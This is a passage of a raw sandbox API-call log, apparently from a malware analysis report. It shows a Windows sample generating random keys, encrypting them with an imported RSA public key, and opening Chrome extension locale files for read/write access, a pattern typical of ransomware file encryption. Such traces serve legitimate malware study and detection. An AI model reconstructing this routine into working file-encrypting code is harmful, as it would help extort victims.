phProv=0x285caa4*=0x5c4980) returned 1 [0242.872] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.874] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.875] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.875] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0242.875] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.877] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.879] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.879] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.879] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.879] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.882] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b16f8) returned 1 [0242.882] CryptGetKeyParam (in: hKey=0x66b16f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.882] CryptEncrypt (in: hKey=0x66b16f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb320000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb320000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.882] GetLastError () returned 0x0 [0242.882] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.882] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.884] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1778) returned 1 [0242.884] CryptGetKeyParam (in: hKey=0x66b1778, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.884] CryptEncrypt (in: hKey=0x66b1778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb330000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb330000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.884] GetLastError () returned 0x0 [0242.884] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.884] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.886] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.889] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.892] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.892] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.892] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.892] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0242.894] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.896] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.896] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.896] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.896] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.898] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b17b8) returned 1 [0242.898] CryptGetKeyParam (in: hKey=0x66b17b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.898] CryptEncrypt (in: hKey=0x66b17b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb340000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb340000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.899] GetLastError () returned 0x0 [0242.899] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.899] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.900] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1178) returned 1 [0242.900] CryptGetKeyParam (in: hKey=0x66b1178, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.900] CryptEncrypt (in: hKey=0x66b1178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb350000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb350000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.901] GetLastError () returned 0x0 [0242.901] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.901] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.901] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.904] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.906] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.906] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.906] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.906] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.909] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.911] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.911] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.911] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.912] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.914] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b14b8) returned 1 [0242.914] CryptGetKeyParam (in: hKey=0x66b14b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.914] CryptEncrypt (in: hKey=0x66b14b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb360000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb360000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.914] GetLastError () returned 0x0 [0242.914] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.914] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.916] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1838) returned 1 [0242.916] CryptGetKeyParam (in: hKey=0x66b1838, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.916] CryptEncrypt (in: hKey=0x66b1838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb370000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb370000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.916] GetLastError () returned 0x0 [0242.916] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.916] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.917] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0242.920] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.926] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.926] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.926] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.926] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.929] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.932] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.932] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.932] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.932] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.935] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1078) returned 1 [0242.935] CryptGetKeyParam (in: hKey=0x66b1078, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.935] CryptEncrypt (in: hKey=0x66b1078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb380000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb380000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.935] GetLastError () returned 0x0 [0242.935] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.935] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0242.937] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b10f8) returned 1 [0242.937] CryptGetKeyParam (in: hKey=0x66b10f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.937] CryptEncrypt (in: hKey=0x66b10f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb390000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb390000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.937] GetLastError () returned 0x0 [0242.937] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0242.938] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.938] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.941] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.944] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.944] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.944] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.944] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0242.947] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.949] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.949] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.949] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.949] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.952] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b10b8) returned 1 [0242.952] CryptGetKeyParam (in: hKey=0x66b10b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.952] CryptEncrypt (in: hKey=0x66b10b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb3a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb3a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.952] GetLastError () returned 0x0 [0242.952] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.952] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.955] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b13f8) returned 1 [0242.955] CryptGetKeyParam (in: hKey=0x66b13f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.955] CryptEncrypt (in: hKey=0x66b13f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb3b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb3b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.956] GetLastError () returned 0x0 [0242.956] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.956] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.957] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.960] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.962] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.962] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.962] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.962] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0242.964] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.966] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.966] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.966] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.967] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0242.969] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b11b8) returned 1 [0242.969] CryptGetKeyParam (in: hKey=0x66b11b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.969] CryptEncrypt (in: hKey=0x66b11b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb3c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb3c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.969] GetLastError () returned 0x0 [0242.969] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0242.969] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.971] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b14f8) returned 1 [0242.971] CryptGetKeyParam (in: hKey=0x66b14f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.971] CryptEncrypt (in: hKey=0x66b14f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb3d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb3d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.971] GetLastError () returned 0x0 [0242.972] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.972] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.972] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0242.975] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.977] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.977] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.978] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.978] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.981] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.983] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.983] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.983] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.984] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0242.986] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b11f8) returned 1 [0242.986] CryptGetKeyParam (in: hKey=0x66b11f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.986] CryptEncrypt (in: hKey=0x66b11f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb3e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb3e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.986] GetLastError () returned 0x0 [0242.986] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0242.986] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.988] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b13b8) returned 1 [0242.988] CryptGetKeyParam (in: hKey=0x66b13b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.988] CryptEncrypt (in: hKey=0x66b13b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb3f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb3f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.989] GetLastError () returned 0x0 [0242.989] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.989] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.989] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.993] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.995] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.995] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.995] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.995] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0242.998] 